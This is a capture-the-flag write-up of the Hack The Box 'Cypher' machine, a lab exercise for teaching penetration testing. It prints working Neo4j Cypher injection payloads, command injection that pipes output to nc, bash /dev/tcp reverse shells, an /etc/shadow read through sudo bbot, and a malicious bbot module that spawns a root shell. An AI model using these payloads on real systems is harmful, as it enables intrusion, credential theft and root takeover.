26 July 2025

Cypher

by 0xW1LD

cypher token

Information Gathering

Enumeration

We are given a target ip address: 10.129.216.175 Let’s start off with an nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMurODrr5ER4wj9mB2tWhXcLIcrm4Bo1lIEufLYIEBVY4h4ZROFj2+WFnXlGNqLG6ZB+DWQHRgG/6wg71wcElxA=
|   256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqadcsjXAxI3uSmNBA8HUMR3L4lTaePj3o6vhgPuPTi
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see we have two services on open ports:

The http service is attempting to redirect us to cypher.htb so let’s add this to our hosts file:

1
2
3
echo "$TARGET cypher.htb" | sudo tee -a /etc/hosts

10.129.216.175 cypher.htb

Cypher.htb

When we visit the http webserver we are greeted with the following webpage:

Cypher-1740862262642.png

Taking a look at the about page we’re given the following excerpt:

Discover GRAPH ASM, the revolutionary Attack Surface Management solution that harnesses the power of proprietary graph technology to map your organization’s digital landscape. Unlike solutions built on open-source components, GRAPH ASM’s fully proprietary, in-house developed engine provides unparalleled visibility into your network’s complex relationships and hidden vulnerabilities. Our cutting-edge, custom-built algorithms traverse your IT infrastructure with a level of sophistication that’s simply unattainable with conventional tools. Powered by our exclusive artificial intelligence, GRAPH ASM doesn’t just collect data – it transforms it into actionable insights. Our proprietary AI engine, designed specifically for attack surface management, analyzes the intricate web of your digital ecosystem to prioritize risks and strengthen your security posture. With GRAPH ASM, you’re not just getting a tool; you’re gaining access to the most advanced, non-open-source Attack Surface Management technology on the market. Choose GRAPH ASM for uncompromising security and innovation that’s truly one-of-a-kind.

Login

Looking at the login page we have the following:

Cypher-1740862588566.png

We can attempt to do a simple SQLi using the following payload:

1
a' OR 1=1 -- -

Which results in the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run(
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 68 (offset: 67))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'a' OR 1=1 -- -' return h.value as hash"
^}

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "/app/app.py", line 165, in login
creds_valid = verify_creds(username, password)
File "/app/app.py", line 151, in verify_creds
raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}")
ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'a' OR 1=1 -- -' return h.value as hash: Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run(
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 68 (offset: 67))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'a' OR 1=1 -- -' return h.value as hash"
^}

Looking at the last line we can see a neo4j cypher query.

Cypher is neo4j’s graph query language, it is a NoSQL language similar to SQL with the difference being that it is a graph based database rather than a relationship oriented one.

Jar File

Doing a directory scan we find the following:

1
2
3
4
5
6
/login                (Status: 200) [Size: 3671]
/api                  (Status: 307) [Size: 0] [--> /api/docs]
/about                (Status: 200) [Size: 4986]
/demo                 (Status: 307) [Size: 0] [--> /login]
/index                (Status: 200) [Size: 4562]
/testing              (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]

In https://cypher.htb/testing we can find and download a jar file:

Cypher-1740862889131.png

Let’s use jd-gui to decompile it:

Cypher-1740863822365.png

We can spot a line potentially vulnerable to code injection in the CustomFunciton class:

1
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };

Foothold

Given the things we’ve found we can attempt a Cyphher Injection combined with a command injection. Since we know it’s a neo4j cypher query we can use Cypher Injection Cheatsheet as a guide.

Since we have already identified error-based detection and have found a function call let’s try and call back our local machine by specifying the url to be our local machine.

Let’s start a listener:

1
2
3
nc -lvnp 80

listening on [any] 80 ...

And use the following payload to call the function:

1
1' OR 1=1 CALL custom.getUrlStatusCode('http://10.10.14.158') YIELD statusCode RETURN statusCode //

Success! we get the following callback:

1
2
3
4
5
connect to [10.10.14.158] from (UNKNOWN) [10.129.217.181] 53120
GET / HTTP/1.1
Host: 10.10.14.158
User-Agent: curl/8.5.0
Accept: */*

since the url parameter is injected directly into a bash command we can attempt code execution using the following payload:

1
1' OR 1=1 CALL custom.getUrlStatusCode('; whoami | nc 10.10.14.158 80') YIELD statusCode RETURN statusCode //

I am using nc to get the command output called back to our listener as we cannot directly view the output of commands injected.

We’re neo4j user!

1
2
connect to [10.10.14.158] from (UNKNOWN) [10.129.217.181] 37558
neo4j

Let’s inject a reverse shell:

1
1' OR 1=1 CALL custom.getUrlStatusCode('; bash -c "bash -i >& /dev/tcp/10.10.14.158/9001 0>&1"') YIELD statusCode RETURN statusCode //

We get a reverse shell on our listener!

1
2
3
4
5
6
nc -lvnp 9001 
listening on [any] 9001 ...
connect to [10.10.14.158] from (UNKNOWN) [10.129.217.181] 35072
bash: cannot set terminal process group (1410): Inappropriate ioctl for device
bash: no job control in this shell
neo4j@cypher:/$ 

User

Looking around in /var/lib/neo4j we find a password in .bash_history

1
2
neo4j@cypher:~$ cat .bash_history
neo4j-admin dbms set-initial-password [REDACTED]

As well as the user graphasm:

1
2
neo4j@cypher:~$ ls /home
graphasm

Let’s attempt to reuse these credentials:

1
2
3
neo4j@cypher:~$ su graphasm
Password: 
graphasm@cypher:/var/lib/neo4j$ 

Success! This shell is a little unstable so let’s ssh into the system instead:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ssh graphasm@cypher.htb
graphasm@cypher.htb's password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Mar  1 10:01:14 PM UTC 2025

  System load:  0.15              Processes:             234
  Usage of /:   68.5% of 8.50GB   Users logged in:       0
  Memory usage: 25%               IPv4 address for eth0: 10.129.217.181
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Mar 1 22:01:38 2025 from 10.10.14.158
graphasm@cypher:~$ 

Root

Checking graphasm’s privileges we see we can run bbot as root without a password:

1
2
3
4
5
6
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

We can also find a bbot_preset.yml in our home directory:

1
2
3
4
5
6
7
8
9
10
11
12
graphasm@cypher:~$ ls -la
total 36
drwxr-xr-x 4 graphasm graphasm 4096 Feb 17 12:40 .
drwxr-xr-x 3 root     root     4096 Oct  8 17:58 ..
lrwxrwxrwx 1 root     root        9 Oct  8 18:06 .bash_history -> /dev/null
-rw-r--r-- 1 graphasm graphasm  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 graphasm graphasm 3771 Mar 31  2024 .bashrc
-rw-r--r-- 1 graphasm graphasm  156 Feb 14 12:35 bbot_preset.yml
drwx------ 2 graphasm graphasm 4096 Oct  8 17:58 .cache
-rw-r--r-- 1 graphasm graphasm  807 Mar 31  2024 .profile
drwx------ 2 graphasm graphasm 4096 Oct  8 17:58 .ssh
-rw-r----- 1 root     graphasm   33 Mar  1 20:37 user.txt

Looking around we find out that bbot is an OSINT tool.

Let’s look at our preset:

1
2
3
4
5
6
7
8
9
10
11
graphasm@cypher:~$ cat bbot_preset.yml 
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

Nothing very interesting, looking at the help for the binary we can see a few interesting options:

Using these three flags we have an arbitrary file read by specifying the file we want to read as the custom YARA rule:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
sudo bbot -cy /etc/shadow -d --dry-run                               

<SNIP>
[DBUG] internal.excavate: Final combined yara rule contents:
root:[REDACTED]
daemon:*:19962:0:99999:7:::
bin:*:19962:0:99999:7:::
sys:*:19962:0:99999:7:::
sync:*:19962:0:99999:7:::
games:*:19962:0:99999:7:::
man:*:19962:0:99999:7:::
lp:*:19962:0:99999:7:::
mail:*:19962:0:99999:7:::
news:*:19962:0:99999:7:::
uucp:*:19962:0:99999:7:::
proxy:*:19962:0:99999:7:::
www-data:*:19962:0:99999:7:::
backup:*:19962:0:99999:7:::
list:*:19962:0:99999:7:::
irc:*:19962:0:99999:7:::
_apt:*:19962:0:99999:7:::
nobody:*:19962:0:99999:7:::
systemd-network:!*:19962::::::
systemd-timesync:!*:19962::::::
dhcpcd:!:19962::::::
messagebus:!:19962::::::
systemd-resolve:!*:19962::::::
pollinate:!:19962::::::
polkitd:!*:19962::::::
syslog:!:19962::::::
uuidd:!:19962::::::
tcpdump:!:19962::::::
tss:!:19962::::::
landscape:!:19962::::::
fwupd-refresh:!*:19962::::::
usbmux:!:20004::::::
sshd:!:20004::::::
graphasm:[REDACTED]
neo4j:!:20004::::::
_laurel:!:20136::::::
<SNIP>

Additionally we can create a custom module that leads to code execution as root on the machine:

1
2
3
4
5
6
from bbot.modules.base import BaseModule
import os

class poc(BaseModule):
    async def setup(self):
        os.system('bash -c "bash -i >&/dev/tcp/10.10.14.158/9001 0>&1"')

As instructed let’s create a preset.yml file to determine the location of our custom module:

1
2
3
# load BBOT modules from these additional paths
module_dirs:
  - /home/graphasm

Let’s run it with our custom module selected:

1
sudo bbot -m poc -p /home/graphasm/preset.yml

We get a root shell on our listener!:

1
2
3
4
nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.158] from (UNKNOWN) [10.129.217.181] 41800
root@cypher:/home/graphasm# 

Beyond Root

We can in fact bypass the login using our cypher injection which I think was the original intended method because if it wasn’t then the demo page would be redundant. Looking at the error messages we see the following values are being returned: u.name and hash

1
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'a' return h.value as hash

This indicates that it’s matching the username and password hash through the database and returning them to the webserver for comparison. So we can actually return any value we want for the hash and then use that same value in the password field and we should be granted access.

So let’s create a sha1sum for the password we’ll use, I’ll use password:

1
2
3
echo -n 'password' | sha1sum

5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 -

Then let’s inject the following payload into our username field:

1
1' OR 1=1 RETURN u.name, '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' AS hash //

and password into our password field.

We get redirected into a /demo page, where we can input any query we want:

Cypher-1740872577082.png

We may also use this for the RCE:

Cypher-1740872661322.png

tags: diff/medium - os/linux